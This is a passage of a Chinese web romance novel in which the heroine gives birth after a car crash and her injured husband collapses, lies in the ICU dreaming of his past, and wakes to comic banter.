“这里有急救孕妇!” 平板床滚轮在市立医院的地面快速滑动, 平躺的孕妇呼吸急促、血压升高,她的丈夫亦步亦趋、紧紧跟随。 丈夫不停安抚极度惊惧的妻子:“别害怕,慢慢呼吸。” 破了羊水的孕妇借力撑坐起来, 指脸痛骂:“黎铮,你这个混蛋!你说啊,你到底在想哪个女人?!你还敢想别的女人, 真恶心, 呸, 恶心!” 丈夫赶忙摁住她的肩膀, “快躺下,躺下再骂。” 甄宝珠不服气地躺好,觉得委屈极了, 掉了两滴眼泪, 边哭边骂:“我恨死你了黎铮,我他爹把你放心里, 你他妈把我放坑里!说来就来说走就走, 你问我了吗?!你要是问我也让你滚!你快滚, 美国不够远,你有本事滚去外太空” 她这样破口大骂,手却紧紧攥着黎铮一刻也不松开, 像是怕他真被骂跑了。 黎铮脑子里一团乱麻,不讲逻辑地回应, “行,你先躺好, 再一脚把我踹到外太空。” 前面护送的医生护士用不可言说的眼神互相对视,共同认为这个中气十足的产妇应该没什么大问题,这种情况还能把丈夫骂得像孙子似的。 平板床一路推进产房, 甄宝珠的骂声才被气密门阻隔,只剩下关门前嚎啕而出的只字片语。 “黎铮,我害怕,你别走” * 此时是早上九点,所有人都闻讯赶来。 最先赶到的当然是魏铭,他刚上班,一路狂奔到产科,远远望见黎铮正倚着白墙壁。 黎铮灰头土脸,额头处的擦伤已经凝成血痂,剧烈的撞击导致眼球充血视线受阻,微微颤抖的手揉了揉眼睛,在阴.道分娩同意书和不送红包协议书里签下带着血迹的名字。 “怎么回事儿?”魏铭的视线停在黎铮沾血的衬衫上,紧紧皱眉,“宝珠受伤了?!” 黎铮舔了舔干燥的嘴唇,把签好的同意书递给护士,对魏铭说:“车祸,她没受伤,但受了惊吓,羊水破了。” 魏铭深吸口气,甄宝珠现在刚刚足月。 来不及理会黎铮这个丧门星,他跑到产房门禁旁,不停按下门铃,“我是魏铭,让我进去。” 刘医生脚步匆匆赶来,推开魏铭,掏出门禁卡。 魏铭刚要跟着进去,刘医生抵住产科的门,转头对他说:“魏医生,现在不需要骨科会诊,产妇马上要生了,别挡路,你不考虑产妇尊严也要尊重产妇意愿,请你控制住自己的情绪。” 魏铭碰了一鼻子灰的同时,甄玉珠和甄世明也匆匆赶来,他们已经在路上了解到事情的大概经过。 出电梯的时候,甄玉珠和甄世明都在打电话,一个通知爸妈,一个处理车祸现场的事。 甄玉珠挂断父母的电话,想杀人的眼神彻底不藏了,“黎铮,你妹妹为什么开车撞你们?” 黎铮半蹲在地上,掌心用力搓了搓脸,已结痂的伤口重新洇出鲜红血液,“她想报复宝珠,不,是想报复我,我断了她的经济来源,她可能想让我死。” 朱莉始终觊觎他的财产,如果他死了,甄宝珠也死了,她就可以完全继承他的财产。 甄玉珠紧紧捏住轮椅扶手,阴沉的脸上牵起一抹极短暂的笑,“这件事由我们甄家来处理,以后你都不要再插手。” “你妹妹还真是个狠人,”甄世明咬牙看着朋友发来的车祸现场照片,“防弹车都能撞成这样,想他妈同归于尽啊?” 黎铮只怔怔望着产房门口那扇小窗,内心复杂到难以言表。 巨大的利益背后是无尽的贪欲,贪欲又鼓动着胆量,这种事情他见多不怪,是他害了甄宝珠。 游悠最后一个赶到,她扛着两个待产包,跌跌撞撞推开人群从电梯一路喊到走廊,“唔该借借,哎呀!起开让我过去!宝珠怎么样?生了没生了没?” 几人围成一圈沉默不语。 游悠急得要命,擂了魏铭一拳,“说话呀,衰仔。” “……没那么快生,你别咋咋呼呼的。”魏铭捂住吃痛的胳膊,转头瞥眼,视线定在不远处的黎铮身上。 黎铮被他们排除在圆心之外,身体僵直倚着墙壁,缓慢地调整呼吸,他一直偏脸看着那扇窗口,像一颗孤独守望的树。 魏铭觉得哪里不对劲,又说不上哪儿不对劲,他眉心扭动,喊了黎铮一声,“你先去检查一下身体。” 黎铮迟钝地摇头,说不用。 他能把甄宝珠抱上救护车,来医院能跟着医生护士前后跑,他的防弹汽车功不可没。 魏铭张了张嘴,刚想说什么,产房的门又打开,外面的人同时望向走出来的护士,黎铮离产房最近,跨步就到护士面前,护士被他吓了一跳,问:“谁是甄宝珠家属?” “我是。”几个人同时开口。 “……”护士又问:“谁是黎铮?” “……”所有目光都看向黎铮。 黎铮的心瞬间紧悬于喉,把声音也挤得扁平,“我是。” 护士皱眉打量男人受伤的面容,说:“产妇希望你陪产,你能行吗?” “行。” “那你跟我进来吧。” 在众人各种复杂的注目下,黎铮穿好陪产服,很镇静地接过游悠手里的待产包,就进了产房,进去之后他才明白,护士所说产妇“希望”还算是比较委婉的传达。 事实上,甄宝珠在单人产房边哭边嚎,骂声从进来就没有停过,所幸单人产房隔音较好。 “黎铮!你这个混蛋!你有没有听见我说话呀,我不让你走……你说好要陪我生孩子的,你也没跟我说这么疼啊!王八蛋你又骗我!” “我也是个蠢货,竟然这么相信你,满嘴谎话的死男人!你都没生过孩子~” 刘医生一直站在她身边亲切安慰:“别嚎了!刚上了无痛,马上就不疼了,省省力气生孩子!欸,黎铮来了!” 甄宝珠躺在床上,转着头寻找黎铮的身影,她鬓角的头发已经全部湿透,嘴唇也苍白到与皮肤同色,浑身上下都在发抖。 黎铮快步走到她身边,紧紧握住她的手,两人一对视,眼睛都通红通红。 “黎铮,我疼” 甄宝珠咧着嘴哭,忽然又什么话都骂不出来了,只想告诉他,她有多疼,他让她有多疼。 黎铮的手掌胡乱擦去她眼角的泪和额头的汗,眼泪又掉在她脸上,“我一直陪着你,你抓着我,我不走,我不跑。” 刘医生指挥黎铮给她喝点儿功能饮料,甄宝珠也慌慌张张、叽叽喳喳:“对对对,早上为了等你来接我,我都没心情吃饭,你也没问我吃没吃饭,你还敢说你爱我,你这个骗子!” 黎铮一边挨骂,一边给她找吃的东西。 他的手被她紧紧攥着,也不敢放开,只能侧身用一只手翻待产包,终于在护士的帮助下找到游悠买的纯黑巧克力。 刚递过去就被甄宝珠嫌弃地看了一眼,“你根本不爱我,你都不记得我不爱吃苦东西。” 黎铮又翻出一块抹茶小蛋糕,刚要撇到一旁,刘医生适时提醒:“吃点儿巧克力,高能量,有劲好生不会疼。” 甄宝珠一听这话,立刻夺过黎铮手上的巧克力和抹茶小蛋糕,就着一瓶红牛咽了下去。 她吨吨吨干了一瓶红牛,用黎铮的手背抹抹嘴,“我准备好了,开始生吧。” 分娩的过程注定是艰辛痛苦的。 就算打了无痛,甄宝珠仍感觉腹中乱七八糟绞动,身下撕裂一般,痛到无法呼吸时,护士给她插上了氧气管。 黎铮站在她身边,在医生的指导下也胡乱地给她打气,让她调整呼吸,适时用力。 甄宝珠脑海一片空白,只想自己伸手把孩子拽出来。 甄宝珠颤抖着身子,言语也破破碎碎,已经完全没了骂人的力气,额头的青筋凸起,数次的闭眼用力让眼球都跟着胀痛,发出她自己从来没听过的惨嚎。 那声音吓坏了黎铮,他以为甄宝珠快死了。 他张着嘴才能呼吸到空气,说不出一句话,眼泪不受控制地往下流。 “吸气!吸一口大气!”刘医生发出指令。 甄宝珠和黎铮同时吸气。 “手拉脚蹬!用力!再来一次!” “头出来了,换气,再来一次!” “甄宝珠!最后一次,使劲!” 甄宝珠用力抓着黎铮的手,指甲深深嵌进他的手背,每次用力都是一道红痕。 “啊!!我跟你拼了!!” 随着甄宝珠最后一次用力,疼痛感忽然在瞬间消失,肚子一下子空了,一种畅快的感觉让她全身抖擞。 “生出来了?”她看向黎铮,犹疑问道。 黎铮已经缺氧到无法开口说话。 响亮的婴儿啼哭回答了她。 回答了他们。 “出生时间,上午十二点,五斤六两,女孩。” 甄羲在太阳升到最高的时分降世,发出第一声响亮啼哭。 为了这一声啼哭,甄宝珠受了太多苦,此刻,她觉得一切值得。 女儿的出生,无疑是甄宝珠一生中最好的礼物,甄羲也同时获得她人生中第一份礼物。 毫无保留的爱,来自妈妈。 甄宝珠激动万分,拉着黎铮的手抹眼泪,“黎铮,你听到没?甄羲是女孩!甄羲是女孩!” 黎铮还没有从惊心动魄中缓过来,大脑有些迟钝,薄薄的眼泪却已经涌上眼眶,他回握甄宝珠的手,颤抖着说:“听到了,五斤六两。” 刘医生把未睁开眼睛的孩子放在甄宝珠的身上,“孩子爸妈,谁来剪脐带?” 甄宝珠推了推黎铮,“我不敢剪,你去。” “我、”黎铮犹犹豫豫,问医生:“会疼吗?” “不会,剪脐带母体不会感觉到疼,放心剪吧。” 黎铮郑重地接过医生递来的剪刀,胸腔却骤然缩紧挤压,热流顺着咽喉极速上涌,鲜血吐了一地。 第45章 第 45 章 RITA.RITA 临床急救人员的经验是:重大车祸现场, 吱哇乱叫的人可能没事,但说自己没事的人需要重点观察。 黎铮倒在甄宝珠的产房,直接被送到抢救室。 当黎铮满身是血被推出来的时候, 外面等待产妇的每个人都陷入凌乱、呆滞的状态。 医生护士的脚步急促,在他们身边乱成一团,护士急切地高声问:“黎铮的家属, 他还有没有别的家属?” 这时所有人才反应过来。 黎铮只有甄宝珠。 魏铭最先明白发生了什么, 也最先做出动作, 他对护士说:“需要签什么?我签。” “魏医生, 这不符合规范,你签了是要扛责任的!”护士匆忙收起手里一大堆同意书。 魏铭掏出胸前口袋的笔,温和的声线有了些许波澜, “出事儿我扛。” 两人正纠扯着, 甄宝珠和甄羲同时从产房推了出来,所有人都围上去看甄宝珠。 甄宝珠目光流转, 看了一圈那些关心她、爱她的人, 露出一个让他们放心的笑容, 转头平静地对护士说:“我是黎铮唯一的家属。” * 黎铮在抢救室生死未卜,甄宝珠已经被推到病房,病床四周站满了人, 个个都是熟悉面孔,爸妈也匆匆赶回来了。 他们表情复杂。 期盼、激动、焦虑、不安。 甄宝珠心如止水, 她无法哭闹,她得用冷静的意志静静等待, 就算心脏隐隐刺痛,她也不能掉下一滴眼泪,她不要把黎铮哭走, 她相信黎铮能感受到她的能量,只要她足够坚强。 他那不安的灵魂,需要她用理智收拢。 她填了出生证明,在父亲那一栏写下黎铮的名字,也签了三份病危通知书。 然后静静等待、祈祷。 黎铮说过,他要活到99岁,如果他敢死,她就去把他抽活。 他不会死。 他不会留下她一个人面对以后复杂纷乱的生活,他们要一起体会生儿育女的辛酸和幸福。 * 其他人看着甄宝珠,都默不作声。 甄玉珠怀里抱着孩子,甄世明愁眉苦脸,游悠把水递在甄宝珠嘴边。 苏秀抹着眼泪把甄厉海拉出病房,单人病房门外响起她尖锐高调的声音:“去把京市所有的教授都找来,我不管,一定得把黎铮救活,砸多少钱也得把他救活,我闺女不能当寡妇!” 甄厉海给宝珠爷爷打电话报平安,“爸,您不用担心,宝珠已经生了,黎铮也受了点儿小伤那个能不能把军医调来?” 魏铭进了手术室,一直捏紧双手、隔着玻璃看着。 现在他的情敌就躺在手术台,颅内出血、身体多处骨折、肺部破裂。 车祸发生时,黎铮那一把方向盘,背弃了一个正常人类求生的本能,他把自己置于危险境地,只为保住甄宝珠,之后他抱甄宝珠上救护车,对曾经断裂过的肋骨造成二次压迫,是他体内急速飙升的肾上腺素让他撑到甄宝珠生下孩子。 魏铭不敢想,如果没有黎铮打方向盘的动作,甄宝珠会怎么样,他现在只有后悔,为什么当时已经有了提醒黎铮的意识,却不坚持让他去做检查。 他当时看过车祸的照片就觉得不对劲儿,如此严重的车祸,怎么可能两个人都只是皮外伤,是对甄宝珠的关心压倒了他作为一个医生的理性。 现在魏铭清醒理智,看着、等着。 等开颅手术做完,会有人通知他上手术台,那起码说明黎铮不会死在手术台上。 三个小时之后,他的对讲机里传出护士的问话,“魏医生,你准备好了吗?” * 六个小时之后,黎铮从手术室转到ICU,依然是昏迷状态,不知道多久会醒过来,也不知道会不会醒过来。 专家会诊过几轮,所有高级精密的医疗设备都用在他身上,外部的力量已经在最短时间尽到极致,最终能否醒来还是要看他自己的求生欲。 黎铮的灵魂再次仰浮于人间。 这一次,他驾轻就熟。 魂魄荡漾游动,被不知哪里来的风吹高、吹远,他觉得好轻松,只想被风带着漫无目的飘浮。 高防御心理总是让他的大脑规避回忆那些不堪往事,而现在“自我屏蔽”程序失效,那些记忆卷土重来。 微风带着他飘回费城华人街。 他的爸爸喜欢喝点儿酒,他的妈妈总是微驼着背,他们普通到走进人海会变成黑灰色。 黎铮是中了基因彩票的人,身上唯一像妈妈的地方大概就是那双秀丽的嘴唇。 一整天结束,他们会做餐馆的善后工作,妈妈俯腰洗碗,爸爸拎着拖把,他甚至能闻到熟悉的食物油和拖地桶的味道。 看到他进门,他们笑着,用中文问他:“阿铮,回来了,大学生活怎么样?” 他羞于告诉他们,课业很紧张,他在学校表现并不耀眼,同学大多是天才,天才在天才堆里也不起眼。 更难启齿告诉爸妈,全额奖学金他没有申请,因为不想提供家庭经济状况证明文件。 他也没时间出去打工,快要没钱吃饭了,一个人去了精子银行,却得到冷嘲,那里的人说亚洲基因的售价普遍偏低,他的高智商基因可以充进精子库里,但大概率没人会买。 一想到世界上会有个孩子,DNA的分子蓝图里刻着他的基因片段,却和他毫无关系,他就有些退缩,还没下定决定要不要这样做。 他沉默不答,戴上手套,接过母亲手上油污的盘碗,让他们先回去睡,他留下来锁门。 黎铮听着朱莉新买的碟片洗碗,旧音响里在放一首听不懂的日文歌。她总是这样,音乐碟片永远都买不对。 他从一大堆碟片里挑出一张旧的,专辑名称叫我的失败与伟大。 温柔真挚的声音响起,倾诉着没有结果的爱情。 爱情,大概是富家子弟的游戏。 他还从来没想过。 按照马斯洛需求层次理论来说,他还在第一层和第二层之间挣扎金字塔的底层。 做完卫生扫除,他的目光扫过收银台的那只招财猫,爸妈有时会在招财猫底座压钱,五美元,十美元的小面值纸币,他拎起招财猫晃荡的手臂,确实有几张美元压在下面,还有一张红色纸币掺杂其中,上面有一张中国面孔。 他收起那几张美元,装进卫衣口袋,只留下一张。 望着招财猫,他在心里默默规划几十美元应该怎么花,可以花多久。 他当时的心情? 意外收获钱财的喜悦维持了几秒钟,悲哀却像巨流冲进亿万个细胞。 他有点儿想哭,拨了一下招财猫的手,让它摇晃的手臂像催眠钟表一样催眠自己。 没什么大不了的。 天色黑透,大雨倾盆。 他没有伞,拉起卫衣帽子,站在门外锁门。 阴雨天,锁又生锈,他在门外站了很久,执拗地和生锈的锁较劲。 雨越下越大,冷风顺着卫衣领口灌进身体,让他牙齿发抖。 飞速驶过的跑车激起路边积水,重重拍在他的后背,肮脏的雨水渗进卫衣,紧贴皮肤,像爬了很多只蚂蚁,但他仍在和锁对抗。 终于,门上了锁。 他也没有任务完成的成就感,弯曲膝盖,在路边缓缓蹲下,在雨夜中埋低头,抱紧手臂,无声地发呆。 斜洒的雨时不时越过屋檐界限,像上帝对他吐了口水。 他想哭、想骂、想操上帝的父亲母亲。 暴雨掩住临近的脚步声,一把黑伞斜撑在他头顶。 “中国人?” 清亮的声音穿透暴戾的狂雨。 他微抬眼眸,目光所及是一双穿镶钻凉鞋的脚,那双鞋看起来很贵,钻石在黑夜里闪闪发光。 纤细的脚,足尖水红,积水淹过她的脚背,像一条鱼跌宕在黑海里。 视线不由自主上抬,裙子太短,光裸白皙的腿仿佛看不到穷尽。 他不敢再向上看,这个时间,这样打扮,大概是站街女。 “FUCK OFF!”他发怒吼她。 声音如暴雨作响,视线却定格在伶仃的脚踝,那脚踝仿佛一手就能松垮握住。 女人笔直的小腿肌肉颤动,足弓绷紧,细白的脚踢起积水,溅在他脸上。 “FUCK YOdjxs.”挂了糖霜的声线对他说了句脏话。 小鱼游走,那把伞却坠落在他头顶,盖住他大部分视线,也挡住淋在他周身的雨,伞柄掉进他怀里,冰凉的钢骨蹭过他的手腕。 他仰起伞,她已经走开,在暴雨中向路边的红色跑车轻盈跑去,车上的同伴扬起酒瓶对她呐喊:“RITA!RITA!我们还要去下一场派djxs.” 喝醉酒的女孩浑身都被雨浇湿,她抬起手臂,身姿旋转,戏剧般的,像芭蕾中翩然起舞的白天鹅。 暴雨中的天幕仿佛她一个人的舞台,雨水从她漾起的短裙边掠过,恩赐般降落大地。 她是如此随性肆意, 仿佛她的人生永不落幕。 那画面对他的冲击力太大。 以至于第二天他又去精子银行,手里握着储精容器,眼前忽然出现一副雨中景象。 粉白的脚踝,纤细的双腿,看不清脸的女人,湿透的头发飞扬,裙摆像一朵绽开的花。 生命力勾动勃发的欲望。 他开始有了一些反应。 幻想握住花枝,让这朵花折倒,让他亲吻滴水的发梢。 RITA.RITA. 很美的名字。 腹部收紧,欲望满溢。 他的灵魂又一次飘浮。 * 飘啊飘,二十层的大厦也在他脚下。 落地窗外,工人正在用起吊器斜吊三米高的灯牌。 【远征集团】 是他要求的中文字符。 落地窗内的男人意气风发,站在顶楼办公室俯瞰傲视,身后是豪华的中式装潢。 他终于爬上金字塔顶端。 他站在落地窗前极目远眺,拿出手机拨通电话。 “妈,你们快到我的公司了吗?” “快了,你的司机说还有两条街就到了。” “嗯,我可以看到你们。”他俯视下去,两条街外的豪华商务车过了红绿灯。 “这车不少钱吧?”母亲问他。 “嗯,公司需要。”他笑了笑,“这边还在装修,不然我就自己开车去接你们了。” 车子穿过街口,离他越来越近。 母亲也在电话那头笑,“现在你越来越好,我们也开心,事业有成下一步就该结婚生子了,我和你爸等着抱孙子呢。” 说起这个,黎铮有些腼腆,“您是不是想得太远了?” 砰! 手机从他手中脱落,重重砸在地上。 百米之下,浓烟滚滚。 仿佛上帝手拿放大镜,对着太阳灼烤,与他开一个恶劣的玩笑。 他狂奔下楼,灵魂仿佛追不上身体的速度,却在门口迎到了微笑的父母,他们站在公司楼下仰头看着起吊的公司标志。 他当时的心情? 先是迷茫慌乱,之后激动万分。 他引领他们,给他们介绍自己新开的公司,手臂挥扬之间都是成功者的姿态。 爸妈却一直微笑不语,他不敢中断,表现得像个博物馆讲解员,小到一个茶杯他都能讲出花儿来。 讲了太久,他觉得口干,提起茶壶却倒不出水。 他正要发怒,问问到底有没有人管这事儿,妈妈却忽然笑着说:“阿铮,你已经做得很好了,我们从来没有怪过你。” 他停下摇晃茶壶的动作,回头看着他们空濛的身躯,愣愣地问:“你们,不怪我吗?” 妈妈慈爱地笑笑,轻轻摇头,“阿铮,我们回家吧。” 他怔忪片刻,抬头颔首。 他会走向他们,张开手臂拥抱他们。 身后却被人紧紧抱住,他缓慢回头,那一张可爱的脸哭得像个花猫,刺痛他刀枪不入的灵魂。 甄宝珠声嘶力竭哭喊,“你不要走!我不要你走!我不会放你走,不能让你走!” 他回视父母,他们微笑不语。 一直在等他。 黎铮又一次陷入选择。 第47章 第 47 章 婚姻是长期博弈。 “我不会放你走, 不能让你走!”甄宝珠从梦中猛然惊醒,紧紧抱住纯白被子。 自从黎铮进了ICU,这是她睡的第一个觉。 梦中惊醒后, 她慌乱地寻找她的孩子,才忽然想起甄羲已经被甄玉珠和育儿嫂带走了。 她坐在床上急促地呼吸,掀起被子就下地。 轮流陪床的魏铭从沙发上起身, 迅速按住她, 眼底也是淡青色, 他看了看手表, 现在是深夜,甄宝珠也只睡了四个小时。 “宝珠,你怎么醒了?” 甄宝珠脸上的泪还未干, 她一言不发, 甩开魏铭的手,胡乱蹬脚踩进毛茸茸的拖鞋, 拖着疼痛的腰胯往病房外挪动。 “你要去哪儿?”魏铭伸手扶她。 甄宝珠神神叨叨地说:“黎铮要死了, 我抱不住他, 我得去找他。” 魏铭按住她的肩膀,一双眼睛微微泛红,“黎铮没死, 还在ICU,他还没死呢。” 甄宝珠猛地摇头, 眼泪跟随动作飞溅而出,只顾往前挪动脚步。 “你不要动了, 我去找轮椅推你,带你去ICU亲眼看。” 等到魏铭推来轮椅,甄宝珠已经扶着栏杆挪到了护士站。 她像还没从梦魇中醒来, 不停抽气念叨:“我不能让他回家,我才是家。” 轮椅上楼下楼,推到ICU的窗口。 单薄的玻璃不知承载过多少人的祈祷,每一个单调重复的滴声都牵动人心,各种冷冰仪器将黎铮的肉.体紧紧包围,他的身体是一个个起伏的波型、一行行跳动的数字。 甄宝珠的手紧贴在玻璃上,看不到黎铮的脸,只能看到纯白的床单,只有监护仪说明他还有生命体征。 她逐渐平静下来,却不肯离开,布满血丝的双眼坚定无比,“黎铮,我们有家,家里有我。” 魏铭站在她身边轻轻叹了口气,一直用同情可怜的目光看着她。 “回去睡觉吧,宝珠,你刚生完孩子,也得好好休息才行。” 甄宝珠摇头,又低下眼眸,很认真地说:“魏铭,对不起。” 魏铭蹲下身,眉心扭结,声音温柔问道:“为什么和我道歉?” “我一直都知道你很喜欢我,但我却从来没有明确说过什么,我向你道歉。”甄宝珠与他对视,视线中多了一种成熟的、母性的柔光。 魏铭忽然觉得眼眶很酸,在他和甄宝珠认识的很多年里,他很少听到甄宝珠道歉,她把很多男人弄哭过,有的男人被她骂哭,有的男人被她抛弃而哭。 大多数人都爱她,她也享受着大多数人的爱,他卑微如尘的爱得不到她的青睐,所以魏铭的要求不高,只想能在身边陪着她,而她现在开口道歉,就连这低微的权利也要剥夺。 “如果我说没关系呢?你不表明态度也没关系,我从来没有要求过你明确态度。” 这是魏铭从来都没有表白过的原因,他不需要她的态度,因为他知道一定是拒绝,他愿意一直以没有边界感的好朋友身份呆在她身边。 甄宝珠望着玻璃窗,窗上有她和魏铭的倒影,但她的目光只能看到那片纯白床被。 “这段时间我经历了很多,也想了很多,我爱上一个人,他带给我伤害,让我开始反思自己是不是也一直在伤害别人,我受不了他给我的伤害,是因为我从来都没有被伤害过,也是因为我之前从来没有爱过。” “你觉得,爱的背面是伤害?”魏铭的声音微颤。 “不。” 甄宝珠很肯定地说:“爱就是爱,正面反面都是爱,伤害是人性的产物。他复杂的性格伤害了我,我怨过、恨过,但如果让我失去他,我不愿意,他说婚姻是长期博弈,我愿意把所有筹码都压上,然后输给他。” 魏铭低头不语,沉默很久之后,他扬起脸说:“宝珠,你没有输。当我看到车祸现场的照片,我就在想,如果当时方向盘握在我手里,我会不会做出那样的选择?大多数时候我们都在吃喝玩乐,从来没有验证真心的机会,我一直想也想不出答案,但我知道,就算你们之间要论输赢,是你赢得了黎铮的全部筹码。” 魏铭始终认为,从小相识的感情就像一场马拉松,自己不一定跑得最快,但一定最有耐力,但却没发现终点站的甄宝珠也在奔赴,义无反顾向着心之所爱的方向。 那是完全不同的道路,他永远追不上她。 “对不起,魏铭。”甄宝珠回视魏铭失落的眼睛,郑重又郑重地道歉。 魏铭忽然笑了笑,说:“你知道吗?你现在特别有礼貌,特别像个大人,他果然让你改变了好多。” 甄宝珠现在是一个男人的妻子,一个孩子的母亲,人生这片宽阔的海洋,她须抓紧名为责任的船桨,为她的小家遮风避浪。 “是往好的方向改变吗?”甄宝珠问。 “是好的方向。”魏铭也很认真。 魏铭轻松地呼出一口气,揉了揉她的头发,“起码我听到你这句道歉,忽然觉得这么多年也算有说法了,说实话还是很不甘心,你知道的,我一直是勤奋刻苦的类型,比不上很多人天生聪明,爱情不是靠努力这个道理,也是刚刚才想通,但也不算晚。” 魏铭笑笑,他承认自己的失败,也终于敢去面对这人生中少有的挫败感,黎铮是个躺在那里都赢过他的对手,甄宝珠也早已不再是任性贪多的公主。 “甄宝珠,我接受你的道歉,但以后我没办法和你做好朋友了。”魏铭说。 甄宝珠垂下眼睫,轻轻点头。 “我们做个普通朋友吧。”魏铭按了按她的肩膀。 “好。”甄宝珠也难得笑了笑。 普通朋友现在也应该推她回病房睡觉了,总不能一直让她在这里守着。 魏铭二话不说调转轮椅,甄宝珠却扒住窗框死活不肯走。 刚才还是个大人,现在又一副小孩儿的德行。 魏铭挺直腰杆数落她, 她默默听着手不松。 ICU病房里忽然变得纷乱,医生护士几个人同时奔向黎铮的病床,把他团团围住。 甄宝珠顿时感觉头顶发麻,仿佛心脏停跳,紧抠窗框的双手也控制不住抖动。 魏铭来不及管她,把她扔在原地,在门口刷下门禁卡,奔跑进去。 ICU的大门打开,里面纷杂的人声短暂传入耳中,让她泪流满面。 “黎铮醒了。” * 黎铮醒了。 双眼无力地睁开,好像睡了很久,梦了很久。 一片片白色衣衫遮挡他的视线,他无法控制自己挪动身体,只有眼珠在不停转动,医生用小手电筒对准他的瞳孔,强光刺得瞳孔收缩,眼睛生疼,想流泪。 人流在病床间攒动,他终于在肩膀与肩膀的缝隙里,看到一张憔悴的脸。 她站在医护的包围圈外,离他不远不近,穿浅粉色病号服,头发挽得随意松散,两行热泪在苍白脸颊滑滚。 黎铮冷硬的轮廓开始有了些热丝丝的活气,深邃的五官变得柔和,干燥的嘴唇牵起一点浅浅的笑容。 他听到她的声音,艰难地活过来了。 魏铭一把扯过站在外围的甄宝珠,“他醒来了。” “嗯,我知道。”甄宝珠站在他的病床前不知所措,只顾着流泪。 黎铮轻抿柔情嘴唇,撤回满眼期待。 他都进ICU了,她怎么还在和魏铭说话?他这么难都活下来了,她怎么还在和魏铭说话?不是她站在宇宙中心呼唤爱不让他死吗,她怎么还在和魏铭说话?! 还不如死了。 黎铮闭了闭眼, 准备再次去世。 甄宝珠伸出的手停在半空,想触摸他,却不知道他身上还有哪个地方能碰。 她看黎铮脸色逐渐惨白,又慌忙无措地把手收回,贴在背后,屏住呼吸,探着身子看他,好像病床之内连一丝没经过消毒的气息都不能随意飘入。 黎铮望着她,她非但没摸他,还把手放在后背,跟领导视察似的,目光虽然还在他身上,诚实的身体快要撤出十里地。 真不如死了。 黎铮彻底闭上眼睛, 准备再次撒手人寰。 鼻翼间的呼吸不太顺畅,好像有什么东西阻隔气体流通,他呼出的热气又反弹在自己面中。 黎铮又缓缓睁开眼,贴近他鼻尖的白净脸颊挡住冰冷的白炽灯,甄宝珠身上的甜蜜气味钻入鼻腔,小巧的耳朵缓缓贴近他的嘴唇。 该死的唇角又不值钱地微提起来。 还是人间美好啊。 不死了。 医生让家属尝试和黎铮说话,以此查看他的记忆区和功能区有没有受损。 甄宝珠尝试叫了叫他的名字,想着黎铮现在很虚弱,就算能说话肯定也没力气,于是试着把脸贴近了些。 她的手指紧握床边的栏杆,听不到黎铮开口说话,脑海里瞬间涌入很多糟糕的情况。 黎铮不会不记得她了吧?或者不会说话了? 她喉头咽了咽,又贴近些,期盼他能说出只字片语,就算不是感人至深的告白,也起码应该叫叫她的名字。 温暖的嘴唇轻轻蹭过脸侧,痒痒的感觉又重新光临四肢肺腑,她心里忽然无比紧张,如果黎铮开口说爱她,她一定会告诉他,她也是多么爱他。 黎铮嘴唇微动,虚弱的声音在她耳边轻语,别人听不到,但甄宝珠听得一清二楚。 他说:“看看腿。” 第48章 第 48 章 通知火葬场热炉子 甄宝珠脸上的眼泪还没干, 拧眉的动作又挤出眼眶的泪,她定了片刻,伸出手指把脸颊的眼泪弹开, 忽的笑了。 不屑一顾的、鄙视至极的笑。 无耻,简直无耻。 下流,简直下流。 黎铮说完那三个字又昏死过去。 如果这是回光返照, 黎铮留在人世的最后一句话就是“看看腿”。 甄宝珠发誓, 如果黎铮就这么死过去了, 她会把这三个字刻在他的墓碑上! 医生说他现在刚醒, 气力跟不上,以后还会再醒过来的,已经可以确定脱离危险了。 听过这话, 家属的情绪也很稳定, 就是病床旁的铁围栏快被她掰弯了,她感谢医生, 又自己坐上轮椅, 冷着脸让魏铭把她推回病房。 回病房的路上, 甄宝珠已经把黎铮的悼词想好了。 【今天我们怀着沉痛心情,送别一位优秀的青年企业家,他的一生是坎坷跌宕的一生, 是理性务实的一生,是审思明辨一生, 他生长在资本主义土壤下,却有一颗根红苗正的社会主义红心, 他善于反思、关心人类、参悟宇宙,并在弥留之际向世界呐喊出浓缩毕生追求的三个字,看、看、腿。】 【声音虽然微弱, 话语虽然简短,但一字一字、振聋发聩、令人深省。如果他能再次醒来,我想对他说四个字:你好骚啊!】 魏铭已经把轮椅推到她的病床边,她却依然紧紧扣着轮椅扶手。 魏铭笑了笑,问:“开心懵了?” 甄宝珠冷冷一哼:“是啊。” “黎铮跟你说了什么吗?” “他说了三个字。” “我爱你?”魏铭问。 “别打听。”甄宝珠狠狠棱了他一眼。 魏铭:“” * 那几天,黎铮频繁又短浅地醒过来,记忆也很短暂,一段一段的。 甄宝珠大多时候都在他身边,往往是一言不发,一脸不爽地看着他,有时候掰掰手指,在做重拳出击的准备工作,但她生气的原因黎铮不得而知,他早忘了昏迷醒来说了什么。 后来他转到普通病房,为了方便照顾,特意把病房安排在甄宝珠的隔壁。 两个单人病房,一墙之隔。 甄宝珠确实方便了许多,没事儿就去看望黎铮,他虽然转到普通病房,但身上还打满绷带,暂时下不了床。 甄宝珠端着水杯,却没打算给他喂水。 最近几天她每天都会问黎铮很多问题,每每坐在床边等着,黎铮一醒来就开始拷问。 她不知道他的脑子是真撞坏了还是装的,总是有很多反常的地方。 甄宝珠问:“想不想看腿?” 黎铮:“?” 甄宝珠问:“知道我是谁吗?” 黎铮答:“Rita。” 甄宝珠眨了眨眼,黎铮从来不叫她的英文名。 “我问你,捐精的时候在想哪个女人?” “Rita。” “你还会不会说点儿别的?” “喝水。” 他可怜巴巴看着甄宝珠,甄宝珠端着水杯自己喝了一口,一边抬起眼眸打量他。 “858*170+285550是多少?” “” 完了,黎铮算不出来了。 她放下水杯,立刻跑出去问医生,她得知道黎铮的脑损伤有多严重,是不是影响他以后当天才? “医生,我问了他一道很简单的三位数乘法,他竟然答不上来。” “你没让他写一套高考卷?”医生不堪其扰,短短叹气,“他现在大脑很脆弱,不能用脑过度,你得有耐心,慢慢引导。” 甄宝珠压根没听进去,只一味地幻想黎铮变成傻蛋她可怎么办。 她没走出医生办公室就迅速给甄玉珠打电话,“姐,黎铮变成傻蛋了,你赶快帮我联系一下智障康复训练中心。” 医生望着她离开的背影:“” 她站在黎铮病房门口,电话仍没挂断,她和姐姐说:“脑损伤估计不可逆了,离婚?姐你有没有人性,我怎么能抛弃弱势群体呢?” 黎铮正自食其力艰难地趴在床边喝水,一听她这样说,赶忙把刚想出来的数学题答案就着热水一起咽回去,喝得太急,烫水咽了一半,顺着唇角留了一半。 